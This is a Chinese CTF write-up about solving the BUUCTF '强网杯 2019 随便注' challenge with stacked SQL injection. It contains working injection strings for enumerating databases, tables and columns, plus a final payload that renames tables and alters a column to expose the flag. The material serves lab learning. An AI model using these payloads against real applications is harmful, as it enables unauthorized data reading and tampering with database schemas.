欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【学习笔记 23】 buu [强网杯 2019]随便注

程序员文章站 2022-06-12 15:43:03
...

0x00 知识点

1.堆叠注入
2.利用rename,alter的sql命令完成数据库操作

0x01 详解

1.什么是堆叠注入?
堆叠注入就是利用sql命令中利用“;”来做一句sql命令的结束标志,但是在“;”后的同一行里添加其他sql命令仍可以执行。
2.堆叠注入与union injection(联合注入)之间的区别?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
3.堆叠注入的局限性?
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

0x02 解题思路

这里我们会用到堆叠注入+数据库数据重命名的方法来解题。
1.打开题目,上边只显示了一个1,点击查询一下
【学习笔记 23】 buu [强网杯 2019]随便注发现回显
2.尝试1’发现失败
【学习笔记 23】 buu [强网杯 2019]随便注尝试1’#回显正常,判断存在sql注入漏洞。
【学习笔记 23】 buu [强网杯 2019]随便注尝试用or连接测试1’ or 1=1#,发现有回显。【学习笔记 23】 buu [强网杯 2019]随便注3.接下来就利用order by来测试字段
尝试

1' order by 2#

回显正常
尝试

1' order by 3#

回显出错,可以判断之后两个字段。
【学习笔记 23】 buu [强网杯 2019]随便注4.尝试利用union,select联合查询进行查表。

1union select 1database()#

【学习笔记 23】 buu [强网杯 2019]随便注直接返回一串过滤规则,说明联合注入行不通。
5.尝试构造堆叠注入。

1' ;show databases;#

【学习笔记 23】 buu [强网杯 2019]随便注成功了,并返回所有数据库名称
那接下来查完库,接着查表。

1' ;show tables;#

【学习笔记 23】 buu [强网杯 2019]随便注继续查完表继续查字段先看看words里的内容。

1' ;show columns from words;#

【学习笔记 23】 buu [强网杯 2019]随便注
回显了两个字段内容
接下来同样查看 1919810931114514里的内容

1';show columns from `1919810931114514`;#

注意这里的1919810931114514这一串数字要用反单引号引住,不然会无法回显。
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
【学习笔记 23】 buu [强网杯 2019]随便注很明显可以得出一下结论,输入1,或者1‘ or 1=1#所回显的数据全部来自words这个表单,那么我们的解题思路就很明显了。

1.首先利用rename将words表的给改个名字
2.讲1919810931114514表的名字改成words
3.应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表
4.最后在利用1’ or 1=1#来回显全部内容得到到结果 。

最终payload

 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

【学习笔记 23】 buu [强网杯 2019]随便注
最后利用,来回显结果

1' or 1=1#

【学习笔记 23】 buu [强网杯 2019]随便注